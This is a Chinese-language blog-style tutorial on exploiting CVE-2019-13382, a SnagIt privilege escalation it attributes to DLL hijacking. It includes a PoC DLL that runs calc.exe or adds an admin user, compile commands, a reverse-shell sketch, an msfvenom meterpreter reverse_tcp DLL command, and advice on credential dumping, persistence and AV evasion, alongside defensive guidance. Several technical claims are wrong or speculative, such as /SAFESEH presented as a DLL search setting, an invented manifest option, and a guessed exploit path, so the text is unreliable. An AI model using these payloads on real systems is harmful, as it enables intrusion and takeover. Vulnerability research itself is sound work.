
1. 项目概述一次经典的本地权限提升漏洞狩猎几年前我在做内部安全评估时经常遇到一个场景客户或同事的办公电脑上除了那些耳熟能详的办公套件还装着不少“生产力工具”SnagIt就是其中非常常见的一款。这款由TechSmith开发的截图与屏幕录制软件以其强大的功能和易用性赢得了大量用户从普通职员到技术专家都在用。当时我就在想这类几乎拥有“准系统级”权限的软件因为它需要捕获屏幕、模拟键盘输入、访问剪贴板如果存在设计缺陷会不会成为攻击者从普通用户权限跃升到系统管理员权限的跳板这个疑问在CVE-2019-13382被公开后得到了验证。这不仅仅是一个CVE编号它代表了一次对“受信任”应用程序边界的成功穿透其利用思路之清晰、影响之直接堪称本地权限提升Local Privilege Escalation, LPE漏洞分析的经典教学案例。简单来说CVE-2019-13382是SnagIt 2019.1.3及之前版本中存在的一个本地权限提升漏洞。攻击者可以利用该漏洞从一个低权限的普通用户账户无需知晓管理员密码直接获取到系统的最高权限在Windows上通常是SYSTEM或Administrator权限。这种漏洞的危害性极大因为在企业环境中攻击者可能先通过钓鱼邮件等手段获得一个普通用户的初始访问权限然后利用此类LPE漏洞“提权”从而完全控制该工作站窃取敏感数据、横向移动或部署持久化后门。今天我就以一名漏洞研究者的视角带大家完整复盘这个漏洞的发现、分析与利用过程其中涉及的思路和技巧对于理解Windows安全机制和软件安全开发具有普适性的参考价值。2. 漏洞原理深度解析DLL劫持与路径搜索顺序的博弈要理解CVE-2019-13382核心在于弄懂两个关键概念DLL劫持DLL Hijacking和Windows DLL搜索顺序。这不是什么新颖的攻击手法但正是其“经典”性使得许多软件包括像SnagIt这样成熟的商业软件依然会中招。2.1 DLL劫持的本质信任的滥用动态链接库DLL是Windows系统的基石程序通过加载DLL来调用其中的函数实现功能复用。当一个应用程序启动时它会声明需要哪些DLL。系统或程序自身会按照一个既定的顺序去磁盘上寻找这些DLL文件并加载它们。DLL劫持就是指攻击者将一个恶意的DLL文件放置在应用程序查找顺序中比合法DLL更靠前的位置。当应用程序运行时它会“误以为”找到了需要的DLL从而加载并执行攻击者恶意DLL中的代码。由于DLL被加载到应用程序的进程空间内因此恶意代码将继承该应用程序的所有权限。这里就引出了核心问题应用程序以什么权限运行如果SnagIt的某个组件在启动时是以高权限如管理员权限运行的或者其服务Service以SYSTEM权限运行那么成功劫持其加载的DLL就意味着恶意代码也获得了相应的高权限。2.2 Windows的DLL搜索顺序攻击者的路线图Windows系统在加载DLL时默认遵循一个特定的搜索路径顺序除非程序显式指定了绝对路径或使用了安全措施。对于未指定完整路径的DLL其搜索顺序通常如下应用程序所在的目录。系统目录如C:\Windows\System32。需要高权限才能写入。16位系统目录C:\Windows\System。Windows目录C:\Windows。当前工作目录。环境变量PATH中列出的目录。CVE-2019-13382的突破口恰恰就在这个“当前工作目录”上。在SnagIt 2019.1.3及之前版本中存在一个或多个以高权限运行的可执行文件或服务它们在尝试加载某些DLL时没有指定完整路径并且对“当前工作目录”的控制不足导致攻击者可以将恶意DLL放置在特定位置并诱使高权限进程加载它。注意从Windows XP SP2开始为了缓解此类攻击系统引入了“安全DLL搜索模式”。启用后当前工作目录的搜索顺序会被移至系统目录之后。但是这个模式不是默认强制开启的应用程序可以通过链接器选项或清单文件Manifest来禁用此安全特性。许多老旧应用程序或未遵循最新安全实践的应用程序可能仍在使用不安全的搜索顺序。2.3 SnagIt的具体脆弱点分析根据公开的漏洞详情问题主要出在SnagIt的一个名为SnagItEditor.exe的组件或相关服务上。该进程在启动时会尝试加载一些未指定绝对路径的DLL例如某些用于图像处理的第三方库或运行时库如MSVCP140.dll,VCRUNTIME140.dll等Visual C Redistributable库。攻击场景可以这样构建攻击者已经通过某种方式如诱导用户打开恶意文档在目标系统上获得了一个低权限的shell。攻击者发现目标系统安装了存在漏洞版本的SnagIt。攻击者将精心构造的恶意DLL命名为目标高权限进程会寻找的DLL名称例如evil.dll重命名为MSVCP140.dll。攻击者通过某种方法将高权限进程的“当前工作目录”设置为恶意DLL所在的目录。这通常可以通过创建快捷方式、利用其他漏洞或特定的程序调用方式来实现。在SnagIt的案例中可能涉及对某些文件类型如.snagproj的关联处理当用户双击此类文件时会以较高权限启动编辑器并设置工作目录到文件所在路径。当高权限的SnagItEditor.exe启动并尝试加载MSVCP140.dll时由于未指定完整路径且安全DLL搜索模式未生效它首先检查自身目录可能没有然后检查“当前工作目录”。此时攻击者控制的目录被优先搜索恶意DLL被加载。恶意DLL中的代码例如在DllMain函数中得以执行并且是在高权限的上下文中运行。攻击者代码可以轻易地创建一个具有SYSTEM权限的反弹shell、添加管理员用户或执行其他任意操作。3. 漏洞环境搭建与复现实操理论分析之后最好的理解方式就是亲手复现。下面我将详细拆解在受控环境中复现CVE-2019-13382的完整步骤。请务必仅在你自己拥有完全控制权的虚拟机或测试环境中进行以下操作切勿在任何生产或他人系统上尝试。3.1 实验环境准备靶机系统Windows 10 (版本1809或更早以匹配漏洞时间线)建议使用虚拟机如VMware Workstation或VirtualBox。漏洞软件SnagIt 2019.1.3。你需要从可信的软件存档网站或自己保留的旧版本安装包获取。安装时注意观察安装路径和是否创建了相关服务。攻击机可以是同一虚拟网络下的另一台虚拟机如Kali Linux也可以是本机如果靶机是虚拟机且网络模式为NAT或桥接。攻击机需要具备编译器和基本的网络工具。权限在靶机上准备两个用户账户一个普通用户lowpriv_user用于模拟初始入侵点一个管理员用户用于安装软件和对比验证。3.2 恶意DLL的制作恶意DLL的核心是在其入口点执行我们的提权代码。这里我们用一个最简单的“概念验证”Proof-of-Concept, PoC来演示弹出一个计算器calc.exe但以高权限运行。如果成功计算器将以SYSTEM或管理员身份启动这通常意味着其标题栏会显示“管理员”或进程所有者是SYSTEM。我们使用C语言和MinGW编译器来制作这个DLL。编写DLL源码 (poc.c)#include windows.h #include stdlib.h BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // 当DLL被进程加载时执行 // 这里我们启动一个计算器。在实际攻击中这里可以替换为任何payload。 system(calc.exe); // 也可以尝试创建用户system(net user hacker Pssw0rd! /add net localgroup administrators hacker /add); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }这段代码定义了一个标准的DLL入口函数DllMain。当DLL被加载到进程时DLL_PROCESS_ATTACH它会执行system(“calc.exe”)命令。关键在于执行这个命令的进程上下文就是加载此DLL的进程上下文。编译DLL 在攻击机或配置了编译环境的靶机上使用MinGW的gcc进行编译。我们需要将DLL命名为目标进程会寻找的名字假设目标进程寻找的是MSVCP140.dll。# 假设你的源码是 poc.c x86_64-w64-mingw32-gcc -shared -o MSVCP140.dll poc.c这条命令会生成一个64位的MSVCP140.dll文件。你需要根据目标SnagItEditor.exe的架构32位还是64位来编译对应版本的DLL。通常SnagIt 2019是64位应用所以使用64位编译器。如果不确定可以尝试分别编译32位i686-w64-mingw32-gcc和64位版本。3.3 寻找劫持点与触发漏洞这是最需要耐心和技巧的一步。我们需要找到SnagIt中以高权限运行、且存在不安全DLL加载的组件。信息收集安装SnagIt 2019.1.3。查看安装目录通常是C:\Program Files\TechSmith\SnagIt 2019\。观察其中的可执行文件。使用系统自带工具或Process Explorer、Process Monitor等高级工具查看SnagIt相关进程的启动方式和权限。关键步骤使用Process Monitor。这是微软提供的免费神器可以监控所有文件、注册表、进程活动。以管理员身份运行Process Monitor。设置过滤器Process Name包含SnagItEditor.exe并且Operation包含LoadImage对应DLL加载或CreateFile对应文件查找。启动SnagIt Editor可以尝试直接运行SnagItEditor.exe或者双击一个.snag或.snagproj文件。在Process Monitor的日志中寻找SnagItEditor.exe进程对DLL的LoadImage操作。特别关注那些Result为NAME NOT FOUND或PATH NOT FOUND的条目这表示进程在某个路径下没找到DLL。这个“寻找的路径”就是潜在的劫持点。如果这个路径是用户可写的比如当前工作目录且该目录是用户的家目录或临时目录那么机会就来了。定位脆弱DLL 通过Process Monitor分析你可能会发现SnagItEditor.exe在启动时会从“当前工作目录”尝试加载诸如VCRUNTIME140.dll,ucrtbase.dll等运行时库。这些库通常位于系统目录但如果工作目录被控制并且安全DLL搜索模式未生效程序就会优先加载工作目录下的同名DLL。构造攻击场景 假设我们通过分析发现当用户双击一个.snagproj文件时系统会以较高权限可能通过COM提升或服务调用启动SnagItEditor.exe并且将“当前工作目录”设置为该.snagproj文件所在的目录。攻击者低权限用户在自己的目录如C:\Users\lowpriv_user\Documents\evil\下放置两个文件编译好的恶意DLL重命名为目标DLL名例如VCRUNTIME140.dll。一个无害的.snagproj文件可以从其他地方复制一个过来或者创建一个空的文本文件改后缀。攻击者诱导受害者可能是用户自己在模拟测试中就是我们主动操作去打开这个目录下的.snagproj文件。由于是低权限用户自己的目录他完全有权限放置文件。触发与验证以低权限用户 (lowpriv_user) 身份登录靶机。导航到C:\Users\lowpriv_user\Documents\evil\目录。双击其中的.snagproj文件。观察结果如果漏洞存在SnagIt Editor会尝试启动。在加载过程中它会从当前目录即evil\目录寻找VCRUNTIME140.dll并加载我们的恶意DLL。恶意DLL中的DllMain函数执行调用system(“calc.exe”)。关键验证弹出的计算器窗口检查其标题栏或通过任务管理器查看calc.exe的进程所有者。如果所有者是SYSTEM或你的管理员用户名而不是lowpriv_user那么恭喜本地权限提升成功了实操心得在实际测试中Process Monitor的过滤器设置至关重要。一开始可以放宽过滤条件捕获所有SnagIt相关进程的活动然后慢慢缩小范围。重点关注进程启动初期的文件操作。另外注意区分进程的“映像路径”和“当前工作目录”。有时需要尝试多种文件关联和启动方式才能找到正确的触发点。4. 漏洞利用的进阶思考与防御视角成功弹出一个计算器只是PoC证明了漏洞的存在和可利用性。真实的攻击远不止于此。理解攻击者的完整思路才能更好地进行防御。4.1 从PoC到真实武器化利用一个真实的攻击payload不会只是弹计算器。攻击者会追求隐蔽、持久和功能强大。恶意DLL中的代码可能会做以下事情获取反向Shell最常用的方式。DLL中会包含建立网络连接、执行命令的代码将目标主机的控制权回传给攻击者的监听服务器。由于是以高权限运行这个shell本身就具备了高权限。// 示例代码片段需补充WS2_32库链接和错误处理 #include winsock2.h #pragma comment(lib, “ws2_32.lib”) // ... 在DllMain中创建socket连接攻击机IP:Port然后重定向标准输入输出到socket最后创建cmd进程。添加用户或激活隐藏账户直接通过net user命令或调用Windows API如NetUserAdd添加一个管理员用户。转储凭证利用高权限从LSASS进程内存中转储哈希或明文密码用于横向移动。安装后门或持久化修改注册表启动项、创建计划任务、安装服务等确保在系统重启后仍能保持控制。绕过杀毒软件真实的恶意DLL会采用各种混淆、加密、反调试技术来规避安全软件的检测。4.2 为什么SnagIt会中招——开发与运维的教训这个漏洞反映出几个经典的安全问题不安全的DLL加载这是根本原因。开发人员在编写代码时调用LoadLibrary或依赖运行时库自动加载时没有指定DLL的完整绝对路径或者没有正确设置加载选项。过时的编译选项为了兼容旧系统或解决一些依赖问题开发人员可能在项目配置中禁用了“安全DLL搜索模式”/SAFESEH链接器选项或清单文件中的设置导致系统层面的缓解措施失效。高权限组件的过度信任像编辑器、更新程序这类组件有时会被设计成以高权限运行例如为了访问所有用户的屏幕或修改Program Files目录下的文件但没有对其进行严格的安全审计认为“受信任的软件”内部是安全的。安装目录权限问题虽然Program Files目录普通用户无法写入防止了直接的DLL替换但“当前工作目录”这个攻击向量绕开了这个保护。任何用户对其“当前目录”如下载文件夹、文档目录都有完全控制权。4.3 防御措施与缓解方案理解了攻击原理防御就有的放矢。可以从开发、部署和系统三个层面进行对于软件开发人员指定绝对路径加载DLL时使用LoadLibraryEx并指定LOAD_LIBRARY_SEARCH_SYSTEM32等标志或将DLL放在安全位置并使用完整路径。启用安全特性确保链接器选项启用了/SAFESEH针对32位并使用清单文件指定requestedExecutionLevel和safeDllSearchMode。最小权限原则不要轻易让组件以高权限运行。如果必须则尽可能缩小其攻击面对输入进行严格校验并审计其所有外部依赖加载行为。代码审计与模糊测试将DLL劫持作为安全测试的常规项目。对于系统管理员和安全人员及时更新这是最有效的方法。TechSmith在漏洞披露后发布了修复版本更新到SnagIt 2019.1.4及以后版本即可解决。应用权限控制使用AppLocker、Windows Defender Application Control (WDAC) 等工具制定策略限制非授权软件的运行并控制特定软件的DLL加载行为。系统级加固通过组策略启用“启用安全DLL搜索模式” (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode)但这可能影响一些老旧应用程序。用户教育告诫用户不要从不受信任的位置打开文件尤其是那些可能关联到高权限软件的文件类型。安全监控使用EDR/AV软件监控可疑的进程创建行为特别是从用户可写目录加载DLL到高权限进程的情况。5. 漏洞研究中的常见问题与排查技巧在复现和分析这类漏洞时你可能会遇到各种问题。下面是我在多次实践中总结的一些排查思路。5.1 问题排查速查表问题现象可能原因排查步骤与解决方案恶意DLL已放置但计算器未弹出1. DLL架构不匹配 (32 vs 64位)。2. 目标进程没有尝试从当前目录加载该DLL。3. 安全DLL搜索模式生效优先加载了系统目录下的合法DLL。4. 恶意DLL编译失败或入口函数错误。1. 用Process Monitor确认目标进程(SnagItEditor.exe)的架构使用对应编译器重新编译DLL。2. 仔细检查Process Monitor日志确认在触发时目标进程是否对你的DLL文件名发出了CreateFile或LoadImage请求且结果是否为SUCCESS。如果没有说明劫持点不对。3. 检查目标进程的导入表(使用dumpbin /imports SnagItEditor.exe)或运行时加载确认它是否需要这个DLL。尝试劫持更常见的运行时库(如VCRUNTIME140.dll)。4. 使用Dependency Walker或Process Explorer查看进程实际加载的DLL列表确认你的恶意DLL是否被加载。计算器弹出但仍是普通用户权限1. 触发漏洞的进程本身权限就不高。2. 触发方式不对没有激活高权限组件。1. 使用Process Explorer查看启动的SnagItEditor.exe进程的“Integrity Level”和所属用户。如果只是Medium或当前用户则提权失败。需要寻找其他触发路径如通过服务、COM对象提升、计划任务等。2. 尝试通过不同的文件关联或命令行参数启动SnagIt组件。研究SnagIt的安装目录看是否有其他exe或服务。Process Monitor日志过多难以筛选过滤器设置不当。1. 先清空现有过滤器只添加一个Process NameisSnagItEditor.exe然后进行操作。捕获日志后再根据Operation类型LoadImage,CreateFile进行二次筛选。2. 在操作前开始捕获操作后立即停止减少无关日志。编译的DLL导致目标进程崩溃恶意DLL的代码存在错误或DLL初始化失败。1. 简化PoC代码确保DllMain函数尽量简单只做最基本的操作如写一个日志文件到临时目录。2. 检查编译选项确保使用了正确的运行时库-static静态链接有时可以避免依赖问题。3. 在DLL中不使用system()这类可能依赖环境变量的函数改用CreateProcess等Win32 API直接启动进程。5.2 高级技巧使用MSFVenom生成Payload对于渗透测试人员使用Metasploit的msfvenom可以快速生成功能强大的恶意DLL。# 在Kali Linux攻击机上生成一个反向Shell的DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTYOUR_IP LPORT4444 -f dll -o evil.dll # 将生成的evil.dll重命名为目标DLL名如VCRUNTIME140.dll然后在攻击机上启动Metasploit的监听器(multi/handler)设置好对应的payload和参数。当漏洞触发恶意DLL被加载后你就会获得一个高权限的meterpreter会话。这种方式生成的payload可能被现代AV/EDR检测在实际测试中需要考虑免杀处理。5.3 漏洞修复后的验证在打上官方补丁或升级到新版本后如何验证漏洞是否真的被修复了重复之前的PoC测试是最直接的方法。但更深入一点你可以对比行为在新版本上再次使用Process Monitor监控观察SnagItEditor.exe加载DLL的路径。修复后它应该会从安全路径如系统目录或自身的安装目录加载目标DLL或者对DLL进行数字签名验证。检查文件权限查看新版本安装目录的权限设置是否更加严格。阅读安全公告TechSmith的官方安全公告可能会说明修复方式例如“通过安全加载DLL修复了权限提升漏洞”。CVE-2019-13382虽然是一个已经修复的旧漏洞但它像一本教科书清晰地展示了“不安全的DLL加载”这一古老威胁在现代化软件中依然可能存在的现实。对于安全研究者它提供了完整的漏洞狩猎分析范本对于开发者它是一个关于安全编码和依赖管理的警示对于运维人员它强调了及时更新和最小权限的重要性。在安全的世界里攻击面往往就藏在那些最寻常的细节之中而理解这些细节正是构筑有效防御的第一步。在我自己的测试中最大的收获不是成功弹出了那个SYSTEM权限的计算器而是通过这个过程彻底摸清了一个应用程序从启动到加载依赖的完整生命周期这种对系统行为的深刻理解是任何工具都无法替代的。